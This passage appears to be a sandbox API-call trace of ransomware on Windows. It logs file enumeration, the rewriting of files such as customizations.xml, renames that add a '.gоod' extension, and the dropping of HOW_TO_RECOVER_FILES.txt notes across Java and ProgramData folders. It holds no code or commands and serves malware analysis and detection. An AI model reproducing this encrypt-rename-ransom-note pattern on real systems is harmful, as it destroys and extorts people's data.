[0115.706] CloseHandle (hObject=0x6e0) returned 1 [0115.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0115.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.gоod", lpFilePart=0x0) returned 0x54 [0115.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0115.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x412d8bf7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0115.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0115.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.gоod")) returned 1 [0115.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0115.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0115.708] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0115.708] GetFileType (hFile=0x6e0) returned 0x1 [0115.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0115.708] GetFileType (hFile=0x6e0) returned 0x1 [0115.709] WriteFile (in: hFile=0x6e0, lpBuffer=0x393c408*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x393c408*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0115.709] CloseHandle (hObject=0x6e0) returned 1 [0115.710] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0115.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0115.710] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0116.095] GetFileType (hFile=0x7c8) returned 0x1 [0116.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0116.095] GetFileType (hFile=0x7c8) returned 0x1 [0116.096] WriteFile (in: hFile=0x7c8, lpBuffer=0x3375c88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x3375c88*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0116.096] CloseHandle (hObject=0x7c8) returned 1 [0116.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0116.097] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr", lpFilePart=0x0) returned 0x2a [0116.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.097] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.097] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0116.097] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0116.097] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.098] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0116.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0116.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0116.098] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr", lpFilePart=0x0) returned 0x2a [0116.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.098] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.098] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0116.098] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0116.099] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0116.099] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0116.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0116.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0116.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0116.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0116.099] GetFileType (hFile=0x7c8) returned 0x1 [0116.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0116.099] GetFileType (hFile=0x7c8) returned 0x1 [0116.100] WriteFile (in: hFile=0x7c8, lpBuffer=0x3387280*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x3387280*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0116.101] CloseHandle (hObject=0x7c8) returned 1 [0116.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0116.102] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpFilePart=0x0) returned 0x4c [0116.102] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.102] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.102] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x65f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0116.103] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0116.103] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0116.103] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0116.103] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0116.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0116.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0116.105] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpFilePart=0x0) returned 0x4c [0116.105] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.106] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.134] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x65f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0116.134] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0116.134] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0116.134] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.134] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0116.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0116.134] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0116.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0116.134] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x33d0b68 | out: lpFileInformation=0x33d0b68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x65f)) returned 1 [0116.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0116.135] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0116.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0116.135] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0116.135] GetFileType (hFile=0x7c8) returned 0x1 [0116.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0116.135] GetFileType (hFile=0x7c8) returned 0x1 [0116.135] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x65f [0116.135] ReadFile (in: hFile=0x7c8, lpBuffer=0x33d14e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x33d14e0*, lpNumberOfBytesRead=0x1f59e768*=0x65f, lpOverlapped=0x0) returned 1 [0116.140] CloseHandle (hObject=0x7c8) returned 1 [0118.755] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0118.755] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0118.757] GetFileType (hFile=0x20c) returned 0x1 [0118.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0118.757] GetFileType (hFile=0x20c) returned 0x1 [0118.757] WriteFile (in: hFile=0x20c, lpBuffer=0x354d968*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x354d968*, lpNumberOfBytesWritten=0x1f59e678*=0x660, lpOverlapped=0x0) returned 1 [0118.758] CloseHandle (hObject=0x20c) returned 1 [0118.758] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.758] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0118.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0118.758] GetFileAttributesExW (in: 